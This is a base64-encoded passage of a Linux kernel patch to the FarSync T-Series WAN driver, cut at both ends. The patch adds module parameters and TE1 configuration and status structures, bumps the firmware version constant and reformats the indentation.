dW5sb3AgPGJvYi5kdW5sb3BAZmFyc2l0ZS5jby51az4iKTsKLU1PRFVMRV9ERVNDUklQVElPTigi RmFyU3luYyBULVNlcmllcyBYMjEgZHJpdmVyLiBGYXJTaXRlIENvbW11bmljYXRpb25zIEx0ZC4i KTsKK01PRFVMRV9ERVNDUklQVElPTigiRmFyU3luYyBULVNlcmllcyBXQU4gZHJpdmVyLiBGYXJT aXRlIENvbW11bmljYXRpb25zIEx0ZC4iKTsKK01PRFVMRV9QQVJNKGZzdF90eHFfbG93LCAiaSIp OworTU9EVUxFX1BBUk0oZnN0X3R4cV9oaWdoLCAiaSIpOworTU9EVUxFX1BBUk0oZnN0X21heF9y ZWFkcywgImkiKTsKK01PRFVMRV9QQVJNKGZzdF9leGNsdWRlZF9jYXJkcywgImkiKTsKK01PRFVM RV9QQVJNKGZzdF9leGNsdWRlZF9saXN0LCAiMC0zMmkiKTsKIE1PRFVMRV9MSUNFTlNFKCJHUEwi KTsKIAogLyogICAgICBEcml2ZXIgY29uZmlndXJhdGlvbiBhbmQgZ2xvYmFsIHBhcmFtZXRlcnMK ICAqICAgICAgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgKi8K IAotLyogICAgICBOdW1iZXIgb2YgcG9ydHMgKHBlciBjYXJkKSBzdXBwb3J0ZWQKKy8qICAgICAg TnVtYmVyIG9mIHBvcnRzIChwZXIgY2FyZCkgYW5kIGNhcmRzIHN1cHBvcnRlZAogICovCiAjZGVm aW5lIEZTVF9NQVhfUE9SVFMgICAgICAgICAgIDQKLQotCi0vKiAgICAgIFBDSSB2ZW5kb3IgYW5k IGRldmljZSBJRHMKLSAqLwotI2RlZmluZSBGU0NfUENJX1ZFTkRPUl9JRCAgICAgICAweDE2MTkg IC8qIEZhclNpdGUgQ29tbXVuaWNhdGlvbnMgTHRkICovCi0jZGVmaW5lIFQyUF9QQ0lfREVWSUNF X0lEICAgICAgIDB4MDQwMCAgLyogVDJQIFgyMSAyIHBvcnQgY2FyZCAqLwotI2RlZmluZSBUNFBf UENJX0RFVklDRV9JRCAgICAgICAweDA0NDAgIC8qIFQ0UCBYMjEgNCBwb3J0IGNhcmQgKi8KLQor I2RlZmluZSBGU1RfTUFYX0NBUkRTICAgICAgICAgICAzMgogCiAvKiAgICAgIERlZmF1bHQgcGFy YW1ldGVycyBmb3IgdGhlIGxpbmsKICAqLwotI2RlZmluZSBGU1RfVFhfUVVFVUVfTEVOICAgICAg ICAxMDAgICAgIC8qIEF0IDhNYnBzIGEgbG9uZ2VyIHF1ZXVlIGxlbmd0aCBpcwotICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHVzZWZ1bCwgdGhlIHN5bmNwcHAgbW9k dWxlIGZvcmNlcwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHRo aXMgZG93biBhc3N1bWluZyBhIHNsb3dlciBsaW5lIEkKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgKiBndWVzcy4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgKi8KLSNkZWZpbmUgRlNUX01BWF9NVFUgICAgICAgICAgICAgODAwMCAgICAv KiBIdWdlIGJ1dCBwb3NzaWJsZSAqLwotI2RlZmluZSBGU1RfREVGX01UVSAgICAgICAgICAgICAx NTAwICAgIC8qIENvbW1vbiBzYW5lIHZhbHVlICovCisjZGVmaW5lIEZTVF9UWF9RVUVVRV9MRU4g ICAgICAgIDEwMAkvKiBBdCA4TWJwcyBhIGxvbmdlciBxdWV1ZSBsZW5ndGggaXMKKwkJCQkJICog dXNlZnVsLCB0aGUgc3luY3BwcCBtb2R1bGUgZm9yY2VzCisJCQkJCSAqIHRoaXMgZG93biBhc3N1 bWluZyBhIHNsb3dlciBsaW5lIEkKKwkJCQkJICogZ3Vlc3MuCisJCQkJCSAqLworI2RlZmluZSBG U1RfVFhRX0RFUFRIICAgICAgICAgICAxNgkvKiBUaGlzIG9uZSBpcyBmb3IgdGhlIGJ1ZmZlcmlu ZworCQkJCQkgKiBvZiBmcmFtZXMgb24gdGhlIHdheSBkb3duIHRvIHRoZSBjYXJkCisJCQkJCSAq IHNvIHRoYXQgd2UgY2FuIGtlZXAgdGhlIGNhcmQgYnVzeQorCQkJCQkgKiBhbmQgbWF4aW1pc2Ug dGhyb3VnaHB1dAorCQkJCQkgKi8KKyNkZWZpbmUgRlNUX0hJR0hfV0FURVJfTUFSSyAgICAgMTIJ LyogUG9pbnQgYXQgd2hpY2ggd2UgZmxvdyBjb250cm9sCisJCQkJCSAqIG5ldHdvcmsgbGF5ZXIg Ki8KKyNkZWZpbmUgRlNUX0xPV19XQVRFUl9NQVJLICAgICAgOAkvKiBQb2ludCBhdCB3aGljaCB3 ZSByZW1vdmUgZmxvdworCQkJCQkgKiBjb250cm9sIGZyb20gbmV0d29yayBsYXllciAqLworI2Rl ZmluZSBGU1RfTUFYX01UVSAgICAgICAgICAgICA4MDAwCS8qIEh1Z2UgYnV0IHBvc3NpYmxlICov CisjZGVmaW5lIEZTVF9ERUZfTVRVICAgICAgICAgICAgIDE1MDAJLyogQ29tbW9uIHNhbmUgdmFs dWUgKi8KIAogI2RlZmluZSBGU1RfVFhfVElNRU9VVCAgICAgICAgICAoMipIWikKIAotCiAjaWZk ZWYgQVJQSFJEX1JBV0hETEMKLSNkZWZpbmUgQVJQSFJEX01ZVFlQRSAgIEFSUEhSRF9SQVdIRExD ICAvKiBSYXcgZnJhbWVzICovCisjZGVmaW5lIEFSUEhSRF9NWVRZUEUgICBBUlBIUkRfUkFXSERM QwkvKiBSYXcgZnJhbWVzICovCiAjZWxzZQotI2RlZmluZSBBUlBIUkRfTVlUWVBFICAgQVJQSFJE X0hETEMgICAgIC8qIENpc2NvLUhETEMgKGtlZXBhbGl2ZXMgZXRjKSAqLworI2RlZmluZSBBUlBI UkRfTVlUWVBFICAgQVJQSFJEX0hETEMJLyogQ2lzY28tSERMQyAoa2VlcGFsaXZlcyBldGMpICov CiAjZW5kaWYKIAorLyoKKyAqIE1vZHVsZXMgcGFyYW1ldGVycyBhbmQgYXNzb2NpYXRlZCB2YXJh aWJsZXMKKyAqLworaW50IGZzdF90eHFfbG93ID0gRlNUX0xPV19XQVRFUl9NQVJLOworaW50IGZz dF90eHFfaGlnaCA9IEZTVF9ISUdIX1dBVEVSX01BUks7CitpbnQgZnN0X21heF9yZWFkcyA9IDc7 CitpbnQgZnN0X2V4Y2x1ZGVkX2NhcmRzID0gMDsKK2ludCBmc3RfZXhjbHVkZWRfbGlzdFtGU1Rf TUFYX0NBUkRTXTsKIAogLyogICAgICBDYXJkIHNoYXJlZCBtZW1vcnkgbGF5b3V0CiAgKiAgICAg ID09PT09PT09PT09PT09PT09PT09PT09PT0KQEAgLTg0LDU4ICs5OSw1NyBAQAogICogICAgICBi ZSB1c2VkIHRvIGNoZWNrIHRoYXQgd2UgaGF2ZSBub3QgZ290IG91dCBvZiBzdGVwIHdpdGggdGhl IGZpcm13YXJlCiAgKiAgICAgIGNvbnRhaW5lZCBpbiB0aGUgLkNERSBmaWxlcy4KICAqLwotI2Rl ZmluZSBTTUNfVkVSU0lPTiAxMQorI2RlZmluZSBTTUNfVkVSU0lPTiAyNAogCi0jZGVmaW5lIEZT VF9NRU1TSVpFIDB4MTAwMDAwICAgIC8qIFNpemUgb2YgY2FyZCBtZW1vcnkgKDFNYikgKi8KKyNk ZWZpbmUgRlNUX01FTVNJWkUgMHgxMDAwMDAJLyogU2l6ZSBvZiBjYXJkIG1lbW9yeSAoMU1iKSAq LwogCi0jZGVmaW5lIFNNQ19CQVNFIDB4MDAwMDIwMDBMICAgIC8qIEJhc2Ugb2Zmc2V0IG9mIHRo ZSBzaGFyZWQgbWVtb3J5IHdpbmRvdyBtYWluCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAqIGNvbmZpZ3VyYXRpb24gc3RydWN0dXJlICovCi0jZGVmaW5lIEJGTV9CQVNFIDB4MDAw MTAwMDBMICAgIC8qIEJhc2Ugb2Zmc2V0IG9mIHRoZSBzaGFyZWQgbWVtb3J5IHdpbmRvdyBETUEK LSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogYnVmZmVycyAqLworI2RlZmluZSBT TUNfQkFTRSAweDAwMDAyMDAwTAkvKiBCYXNlIG9mZnNldCBvZiB0aGUgc2hhcmVkIG1lbW9yeSB3 aW5kb3cgbWFpbgorCQkJCSAqIGNvbmZpZ3VyYXRpb24gc3RydWN0dXJlICovCisjZGVmaW5lIEJG TV9CQVNFIDB4MDAwMTAwMDBMCS8qIEJhc2Ugb2Zmc2V0IG9mIHRoZSBzaGFyZWQgbWVtb3J5IHdp bmRvdyBETUEKKwkJCQkgKiBidWZmZXJzICovCiAKLSNkZWZpbmUgTEVOX1RYX0JVRkZFUiA4MTky ICAgICAgLyogU2l6ZSBvZiBwYWNrZXQgYnVmZmVycyAqLworI2RlZmluZSBMRU5fVFhfQlVGRkVS IDgxOTIJLyogU2l6ZSBvZiBwYWNrZXQgYnVmZmVycyAqLwogI2RlZmluZSBMRU5fUlhfQlVGRkVS IDgxOTIKIAotI2RlZmluZSBMRU5fU01BTExfVFhfQlVGRkVSIDI1NiAvKiBTaXplIG9mIG9ic29s ZXRlIGJ1ZmZzIHVzZWQgZm9yIERPUyBkaWFncyAqLworI2RlZmluZSBMRU5fU01BTExfVFhfQlVG RkVSIDI1NgkvKiBTaXplIG9mIG9ic29sZXRlIGJ1ZmZzIHVzZWQgZm9yIERPUyBkaWFncyAqLwog I2RlZmluZSBMRU5fU01BTExfUlhfQlVGRkVSIDI1NgogCi0jZGVmaW5lIE5VTV9UWF9CVUZGRVIg MiAgICAgICAgIC8qIE11c3QgYmUgcG93ZXIgb2YgMi4gRml4ZWQgYnkgZmlybXdhcmUgKi8KKyNk ZWZpbmUgTlVNX1RYX0JVRkZFUiAyCQkvKiBNdXN0IGJlIHBvd2VyIG9mIDIuIEZpeGVkIGJ5IGZp cm13YXJlICovCiAjZGVmaW5lIE5VTV9SWF9CVUZGRVIgOAogCiAvKiBJbnRlcnJ1cHQgcmV0cnkg dGltZSBpbiBtaWxsaXNlY29uZHMgKi8KICNkZWZpbmUgSU5UX1JFVFJZX1RJTUUgMgogCi0KIC8q ICAgICAgVGhlIEFtMTg2Q0gvQ0MgcHJvY2Vzc29ycyBzdXBwb3J0IGEgU21hcnRETUEgbW9kZSB1 c2luZyBjaXJjdWxhciBwb29scwogICogICAgICBvZiBidWZmZXIgZGVzY3JpcHRvcnMuIFRoZSBz dHJ1Y3R1cmUgaXMgYWxtb3N0IGlkZW50aWNhbCB0byB0aGF0IHVzZWQKICAqICAgICAgaW4gdGhl IExBTkNFIEV0aGVybmV0IGNvbnRyb2xsZXJzLiBEZXRhaWxzIGF2YWlsYWJsZSBhcyBQREYgZnJv bSB0aGUKICAqICAgICAgQU1EIHdlYiBzaXRlOiBodHRwOi8vd3d3LmFtZC5jb20vcHJvZHVjdHMv ZXBkL3Byb2Nlc3NvcnMvXAogICogICAgICAgICAgICAgICAgICAgIDIuMTZiaXRjb250LzMuYW0x ODZjeGZhL2EyMTkxNC8yMTkxNC5wZGYKICAqLwotc3RydWN0IHR4ZGVzYyB7ICAgICAgICAgICAg ICAgICAvKiBUcmFuc21pdCBkZXNjcmlwdG9yICovCi0gICAgICAgIHZvbGF0aWxlIHUxNiBsYWRy OyAgICAgIC8qIExvdyBvcmRlciBhZGRyZXNzIG9mIHBhY2tldC4gVGhpcyBpcyBhCi0gICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAqIGxpbmVhciBhZGRyZXNzIGluIHRoZSBBbTE4NiBt ZW1vcnkgc3BhY2UKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCi0gICAgICAg IHZvbGF0aWxlIHU4ICBoYWRyOyAgICAgIC8qIEhpZ2ggb3JkZXIgYWRkcmVzcy4gTG93IDQgYml0 cyBvbmx5LCBoaWdoIDQKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogYml0cyBt dXN0IGJlIHplcm8KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCi0gICAgICAg IHZvbGF0aWxlIHU4ICBiaXRzOyAgICAgIC8qIFN0YXR1cyBhbmQgY29uZmlnICovCi0gICAgICAg IHZvbGF0aWxlIHUxNiBiY250OyAgICAgIC8qIDJzIGNvbXBsZW1lbnQgb2YgcGFja2V0IHNpemUg aW4gbG93IDE1IGJpdHMuCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIFRyYW5z bWl0IHRlcm1pbmFsIGNvdW50IGludGVycnVwdCBlbmFibGUgaW4KLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICogdG9wIGJpdC4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICovCi0gICAgICAgICAgICAgICAgIHUxNiB1bnVzZWQ7ICAgIC8qIE5vdCB1c2VkIGluIFR4 ICovCitzdHJ1Y3QgdHhkZXNjIHsJCQkvKiBUcmFuc21pdCBkZXNjcmlwdG9yICovCisJdm9sYXRp bGUgdTE2IGxhZHI7CS8qIExvdyBvcmRlciBhZGRyZXNzIG9mIHBhY2tldC4gVGhpcyBpcyBhCisJ CQkJICogbGluZWFyIGFkZHJlc3MgaW4gdGhlIEFtMTg2IG1lbW9yeSBzcGFjZQorCQkJCSAqLwor CXZvbGF0aWxlIHU4IGhhZHI7CS8qIEhpZ2ggb3JkZXIgYWRkcmVzcy4gTG93IDQgYml0cyBvbmx5 LCBoaWdoIDQKKwkJCQkgKiBiaXRzIG11c3QgYmUgemVybworCQkJCSAqLworCXZvbGF0aWxlIHU4 IGJpdHM7CS8qIFN0YXR1cyBhbmQgY29uZmlnICovCisJdm9sYXRpbGUgdTE2IGJjbnQ7CS8qIDJz IGNvbXBsZW1lbnQgb2YgcGFja2V0IHNpemUgaW4gbG93IDE1IGJpdHMuCisJCQkJICogVHJhbnNt aXQgdGVybWluYWwgY291bnQgaW50ZXJydXB0IGVuYWJsZSBpbgorCQkJCSAqIHRvcCBiaXQuCisJ CQkJICovCisJdTE2IHVudXNlZDsJCS8qIE5vdCB1c2VkIGluIFR4ICovCiB9OwogCi1zdHJ1Y3Qg cnhkZXNjIHsgICAgICAgICAgICAgICAgIC8qIFJlY2VpdmUgZGVzY3JpcHRvciAqLwotICAgICAg ICB2b2xhdGlsZSB1MTYgbGFkcjsgICAgICAvKiBMb3cgb3JkZXIgYWRkcmVzcyBvZiBwYWNrZXQg Ki8KLSAgICAgICAgdm9sYXRpbGUgdTggIGhhZHI7ICAgICAgLyogSGlnaCBvcmRlciBhZGRyZXNz ICovCi0gICAgICAgIHZvbGF0aWxlIHU4ICBiaXRzOyAgICAgIC8qIFN0YXR1cyBhbmQgY29uZmln ICovCi0gICAgICAgIHZvbGF0aWxlIHUxNiBiY250OyAgICAgIC8qIDJzIGNvbXBsZW1lbnQgb2Yg YnVmZmVyIHNpemUgaW4gbG93IDE1IGJpdHMuCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAqIFJlY2VpdmUgdGVybWluYWwgY291bnQgaW50ZXJydXB0IGVuYWJsZSBpbgotICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgKiB0b3AgYml0LgotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKi8KLSAgICAgICAgdm9sYXRpbGUgdTE2IG1jbnQ7ICAgICAgLyogTWVz c2FnZSBieXRlIGNvdW50ICgxNSBiaXRzKSAqLworc3RydWN0IHJ4ZGVzYyB7CQkJLyogUmVjZWl2 ZSBkZXNjcmlwdG9yICovCisJdm9sYXRpbGUgdTE2IGxhZHI7CS8qIExvdyBvcmRlciBhZGRyZXNz IG9mIHBhY2tldCAqLworCXZvbGF0aWxlIHU4IGhhZHI7CS8qIEhpZ2ggb3JkZXIgYWRkcmVzcyAq LworCXZvbGF0aWxlIHU4IGJpdHM7CS8qIFN0YXR1cyBhbmQgY29uZmlnICovCisJdm9sYXRpbGUg dTE2IGJjbnQ7CS8qIDJzIGNvbXBsZW1lbnQgb2YgYnVmZmVyIHNpemUgaW4gbG93IDE1IGJpdHMu CisJCQkJICogUmVjZWl2ZSB0ZXJtaW5hbCBjb3VudCBpbnRlcnJ1cHQgZW5hYmxlIGluCisJCQkJ ICogdG9wIGJpdC4KKwkJCQkgKi8KKwl2b2xhdGlsZSB1MTYgbWNudDsJLyogTWVzc2FnZSBieXRl IGNvdW50ICgxNSBiaXRzKSAqLwogfTsKIAogLyogQ29udmVydCBhIGxlbmd0aCBpbnRvIHRoZSAx NSBiaXQgMidzIGNvbXBsZW1lbnQgKi8KQEAgLTE0Niw1NyArMTYwLDk5IEBACiAjZGVmaW5lIGNu dl9iY250KGxlbikgICAoLShsZW4pKQogCiAvKiBTdGF0dXMgYW5kIGNvbmZpZyBiaXRzIGZvciB0 aGUgYWJvdmUgKi8KLSNkZWZpbmUgRE1BX09XTiAgICAgICAgIDB4ODAgICAgICAgICAgICAvKiBT bWFydERNQSBvd25zIHRoZSBkZXNjcmlwdG9yICovCi0jZGVmaW5lIFRYX1NUUCAgICAgICAgICAw eDAyICAgICAgICAgICAgLyogVHg6IHN0YXJ0IG9mIHBhY2tldCAqLwotI2RlZmluZSBUWF9FTlAg ICAgICAgICAgMHgwMSAgICAgICAgICAgIC8qIFR4OiBlbmQgb2YgcGFja2V0ICovCi0jZGVmaW5l IFJYX0VSUiAgICAgICAgICAweDQwICAgICAgICAgICAgLyogUng6IGVycm9yIChPUiBvZiBuZXh0 IDQgYml0cykgKi8KLSNkZWZpbmUgUlhfRlJBTSAgICAgICAgIDB4MjAgICAgICAgICAgICAvKiBS eDogZnJhbWluZyBlcnJvciAqLwotI2RlZmluZSBSWF9PRkxPICAgICAgICAgMHgxMCAgICAgICAg ICAgIC8qIFJ4OiBvdmVyZmxvdyBlcnJvciAqLwotI2RlZmluZSBSWF9DUkMgICAgICAgICAgMHgw OCAgICAgICAgICAgIC8qIFJ4OiBDUkMgZXJyb3IgKi8KLSNkZWZpbmUgUlhfSEJVRiAgICAgICAg IDB4MDQgICAgICAgICAgICAvKiBSeDogYnVmZmVyIGVycm9yICovCi0jZGVmaW5lIFJYX1NUUCAg ICAgICAgICAweDAyICAgICAgICAgICAgLyogUng6IHN0YXJ0IG9mIHBhY2tldCAqLwotI2RlZmlu ZSBSWF9FTlAgICAgICAgICAgMHgwMSAgICAgICAgICAgIC8qIFJ4OiBlbmQgb2YgcGFja2V0ICov Ci0KKyNkZWZpbmUgRE1BX09XTiAgICAgICAgIDB4ODAJLyogU21hcnRETUEgb3ducyB0aGUgZGVz Y3JpcHRvciAqLworI2RlZmluZSBUWF9TVFAgICAgICAgICAgMHgwMgkvKiBUeDogc3RhcnQgb2Yg cGFja2V0ICovCisjZGVmaW5lIFRYX0VOUCAgICAgICAgICAweDAxCS8qIFR4OiBlbmQgb2YgcGFj a2V0ICovCisjZGVmaW5lIFJYX0VSUiAgICAgICAgICAweDQwCS8qIFJ4OiBlcnJvciAoT1Igb2Yg bmV4dCA0IGJpdHMpICovCisjZGVmaW5lIFJYX0ZSQU0gICAgICAgICAweDIwCS8qIFJ4OiBmcmFt aW5nIGVycm9yICovCisjZGVmaW5lIFJYX09GTE8gICAgICAgICAweDEwCS8qIFJ4OiBvdmVyZmxv dyBlcnJvciAqLworI2RlZmluZSBSWF9DUkMgICAgICAgICAgMHgwOAkvKiBSeDogQ1JDIGVycm9y ICovCisjZGVmaW5lIFJYX0hCVUYgICAgICAgICAweDA0CS8qIFJ4OiBidWZmZXIgZXJyb3IgKi8K KyNkZWZpbmUgUlhfU1RQICAgICAgICAgIDB4MDIJLyogUng6IHN0YXJ0IG9mIHBhY2tldCAqLwor I2RlZmluZSBSWF9FTlAgICAgICAgICAgMHgwMQkvKiBSeDogZW5kIG9mIHBhY2tldCAqLwogCi0v KiBJbnRlcnJ1cHRzIGZyb20gdGhlIGNhcmQgYXJlIGNhdXNlZCBieSB2YXJpb3VzIGV2ZW50cyBh bmQgdGhlc2UgYXJlIHByZXNlbnRlZAorLyogSW50ZXJydXB0cyBmcm9tIHRoZSBjYXJkIGFyZSBj YXVzZWQgYnkgdmFyaW91cyBldmVudHMgd2hpY2ggYXJlIHByZXNlbnRlZAogICogaW4gYSBjaXJj dWxhciBidWZmZXIgYXMgc2V2ZXJhbCBldmVudHMgbWF5IGJlIHByb2Nlc3NlZCBvbiBvbmUgcGh5 c2ljYWwgaW50CiAgKi8KICNkZWZpbmUgTUFYX0NJUkJVRkYgICAgIDMyCiAKIHN0cnVjdCBjaXJi dWZmIHsKLSAgICAgICAgdTggcmRpbmRleDsgICAgICAgICAgICAgLyogcmVhZCwgdGhlbiBpbmNy ZW1lbnQgYW5kIHdyYXAgKi8KLSAgICAgICAgdTggd3JpbmRleDsgICAgICAgICAgICAgLyogd3Jp dGUsIHRoZW4gaW5jcmVtZW50IGFuZCB3cmFwICovCi0gICAgICAgIHU4IGV2bnRidWZmW01BWF9D SVJCVUZGXTsKKwl1OCByZGluZGV4OwkJLyogcmVhZCwgdGhlbiBpbmNyZW1lbnQgYW5kIHdyYXAg Ki8KKwl1OCB3cmluZGV4OwkJLyogd3JpdGUsIHRoZW4gaW5jcmVtZW50IGFuZCB3cmFwICovCisJ dTggZXZudGJ1ZmZbTUFYX0NJUkJVRkZdOwogfTsKIAogLyogSW50ZXJydXB0IGV2ZW50IGNvZGVz LgogICogV2hlcmUgYXBwcm9wcmlhdGUgdGhlIHR3byBsb3cgb3JkZXIgYml0cyBpbmRpY2F0ZSB0 aGUgcG9ydCBudW1iZXIKICAqLwotI2RlZmluZSBDVExBX0NIRyAgICAgICAgMHgxOCAgICAvKiBD b250cm9sIHNpZ25hbCBjaGFuZ2VkICovCisjZGVmaW5lIENUTEFfQ0hHICAgICAgICAweDE4CS8q IENvbnRyb2wgc2lnbmFsIGNoYW5nZWQgKi8KICNkZWZpbmUgQ1RMQl9DSEcgICAgICAgIDB4MTkK ICNkZWZpbmUgQ1RMQ19DSEcgICAgICAgIDB4MUEKICNkZWZpbmUgQ1RMRF9DSEcgICAgICAgIDB4 MUIKIAotI2RlZmluZSBJTklUX0NQTFQgICAgICAgMHgyMCAgICAvKiBJbml0aWFsaXNhdGlvbiBj b21wbGV0ZSAqLwotI2RlZmluZSBJTklUX0ZBSUwgICAgICAgMHgyMSAgICAvKiBJbml0aWFsaXNh dGlvbiBmYWlsZWQgKi8KKyNkZWZpbmUgSU5JVF9DUExUICAgICAgIDB4MjAJLyogSW5pdGlhbGlz YXRpb24gY29tcGxldGUgKi8KKyNkZWZpbmUgSU5JVF9GQUlMICAgICAgIDB4MjEJLyogSW5pdGlh bGlzYXRpb24gZmFpbGVkICovCiAKLSNkZWZpbmUgQUJUQV9TRU5UICAgICAgIDB4MjQgICAgLyog QWJvcnQgc2VudCAqLworI2RlZmluZSBBQlRBX1NFTlQgICAgICAgMHgyNAkvKiBBYm9ydCBzZW50 ICovCiAjZGVmaW5lIEFCVEJfU0VOVCAgICAgICAweDI1CiAjZGVmaW5lIEFCVENfU0VOVCAgICAg ICAweDI2CiAjZGVmaW5lIEFCVERfU0VOVCAgICAgICAweDI3CiAKLSNkZWZpbmUgVFhBX1VOREYg ICAgICAgIDB4MjggICAgLyogVHJhbnNtaXNzaW9uIHVuZGVyZmxvdyAqLworI2RlZmluZSBUWEFf VU5ERiAgICAgICAgMHgyOAkvKiBUcmFuc21pc3Npb24gdW5kZXJmbG93ICovCiAjZGVmaW5lIFRY Ql9VTkRGICAgICAgICAweDI5CiAjZGVmaW5lIFRYQ19VTkRGICAgICAgICAweDJBCiAjZGVmaW5l IFRYRF9VTkRGICAgICAgICAweDJCCiAKKyNkZWZpbmUgRjU2X0lOVCAgICAgICAgIDB4MkMKKyNk ZWZpbmUgTTMyX0lOVCAgICAgICAgIDB4MkQKKworI2RlZmluZSBURTFfQUxNQSAgICAgICAgMHgz MAogCiAvKiBQb3J0IHBoeXNpY2FsIGNvbmZpZ3VyYXRpb24uIFNlZSBmYXJzeW5jLmggZm9yIGZp ZWxkIHZhbHVlcyAqLwogc3RydWN0IHBvcnRfY2ZnIHsKLSAgICAgICAgdTE2ICBsaW5lSW50ZXJm YWNlOyAgICAgLyogUGh5c2ljYWwgaW50ZXJmYWNlIHR5cGUgKi8KLSAgICAgICAgdTggICB4MjVv cDsgICAgICAgICAgICAgLyogVW51c2VkIGF0IHByZXNlbnQgKi8KLSAgICAgICAgdTggICBpbnRl cm5hbENsb2NrOyAgICAgLyogMSA9PiBpbnRlcm5hbCBjbG9jaywgMCA9PiBleHRlcm5hbCAqLwot ICAgICAgICB1MzIgIGxpbmVTcGVlZDsgICAgICAgICAvKiBTcGVlZCBpbiBicHMgKi8KKwl1MTYg bGluZUludGVyZmFjZTsJLyogUGh5c2ljYWwgaW50ZXJmYWNlIHR5cGUgKi8KKwl1OCB4MjVvcDsJ CS8qIFVudXNlZCBhdCBwcmVzZW50ICovCisJdTggaW50ZXJuYWxDbG9jazsJLyogMSA9PiBpbnRl cm5hbCBjbG9jaywgMCA9PiBleHRlcm5hbCAqLworCXU4IHRyYW5zcGFyZW50TW9kZTsJLyogMSA9 PiBvbiwgMCA9PiBvZmYgKi8KKwl1OCBpbnZlcnRDbG9jazsJCS8qIDAgPT4gbm9ybWFsLCAxID0+ IGludmVydGVkICovCisJdTggcGFkQnl0ZXNbNl07CQkvKiBQYWRkaW5nICovCisJdTMyIGxpbmVT cGVlZDsJCS8qIFNwZWVkIGluIGJwcyAqLworfTsKKworLyogVEUxIHBvcnQgcGh5c2ljYWwgY29u ZmlndXJhdGlvbiAqLworc3RydWN0IHN1X2NvbmZpZyB7CisJdTMyIGRhdGFSYXRlOworCXU4IGNs b2NraW5nOworCXU4IGZyYW1pbmc7CisJdTggc3RydWN0dXJlOworCXU4IGludGVyZmFjZTsKKwl1 OCBjb2Rpbmc7CisJdTggbGluZUJ1aWxkT3V0OworCXU4IGVxdWFsaXplcjsKKwl1OCB0cmFuc3Bh cmVudE1vZGU7CisJdTggbG9vcE1vZGU7CisJdTggcmFuZ2U7CisJdTggdHhCdWZmZXJNb2RlOwor CXU4IHJ4QnVmZmVyTW9kZTsKKwl1OCBzdGFydGluZ1Nsb3Q7CisJdTggbG9zVGhyZXNob2xkOwor CXU4IGVuYWJsZUlkbGVDb2RlOworCXU4IGlkbGVDb2RlOworCXU4IHNwYXJlWzQ0XTsKK307CisK Ky8qIFRFMSBTdGF0dXMgKi8KK3N0cnVjdCBzdV9zdGF0dXMgeworCXUzMiByZWNlaXZlQnVmZmVy RGVsYXk7CisJdTMyIGZyYW1pbmdFcnJvckNvdW50OworCXUzMiBjb2RlVmlvbGF0aW9uQ291bnQ7 CisJdTMyIGNyY0Vycm9yQ291bnQ7CisJdTMyIGxpbmVBdHRlbnVhdGlvbjsKKwl1OCBwb3J0U3Rh cnRlZDsKKwl1OCBsb3NzT2ZTaWduYWw7CisJdTggcmVjZWl2ZVJlbW90ZUFsYXJtOworCXU4IGFs YXJtSW5kaWNhdGlvblNpZ25hbDsKKwl1OCBzcGFyZVs0MF07CiB9OwogCiAvKiBGaW5hbGx5IHNs aW5nIGFsbCB0aGUgYWJvdmUgdG9nZXRoZXIgaW50byB0aGUgc2hhcmVkIG1lbW9yeSBzdHJ1Y3R1 cmUuCkBAIC0yMDYsMTU0ICsyNjIsMjE2IEBACiAgKiBTZWUgZmFyc3luYy5oIGZvciBzb21lIGZp ZWxkIHZhbHVlcy4KICAqLwogc3RydWN0IGZzdF9zaGFyZWQgewotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAvKiBETUEgZGVzY3JpcHRvciByaW5ncyAqLwotICAgICAgICBzdHJ1Y3Qg cnhkZXNjIHJ4RGVzY3JSaW5nW0ZTVF9NQVhfUE9SVFNdW05VTV9SWF9CVUZGRVJdOwotICAgICAg ICBzdHJ1Y3QgdHhkZXNjIHR4RGVzY3JSaW5nW0ZTVF9NQVhfUE9SVFNdW05VTV9UWF9CVUZGRVJd OworCS8qIERNQSBkZXNjcmlwdG9yIHJpbmdzICovCisJc3RydWN0IHJ4ZGVzYyByeERlc2NyUmlu Z1tGU1RfTUFYX1BPUlRTXVtOVU1fUlhfQlVGRkVSXTsKKwlzdHJ1Y3QgdHhkZXNjIHR4RGVzY3JS aW5nW0ZTVF9NQVhfUE9SVFNdW05VTV9UWF9CVUZGRVJdOworCisJLyogT2Jzb2xldGUgc21hbGwg YnVmZmVycyAqLworCXU4IHNtYWxsUnhCdWZmZXJbRlNUX01BWF9QT1JUU11bTlVNX1JYX0JVRkZF Ul1bTEVOX1NNQUxMX1JYX0JVRkZFUl07CisJdTggc21hbGxUeEJ1ZmZlcltGU1RfTUFYX1BPUlRT XVtOVU1fVFhfQlVGRkVSXVtMRU5fU01BTExfVFhfQlVGRkVSXTsKIAotICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAvKiBPYnNvbGV0ZSBzbWFsbCBidWZmZXJzICovCi0gICAgICAgIHU4 ICBzbWFsbFJ4QnVmZmVyW0ZTVF9NQVhfUE9SVFNdW05VTV9SWF9CVUZGRVJdW0xFTl9TTUFMTF9S WF9CVUZGRVJdOwotICAgICAgICB1OCAgc21hbGxUeEJ1ZmZlcltGU1RfTUFYX1BPUlRTXVtOVU1f VFhfQlVGRkVSXVtMRU5fU01BTExfVFhfQlVGRkVSXTsKKwl1OCB0YXNrU3RhdHVzOwkJLyogMHgw 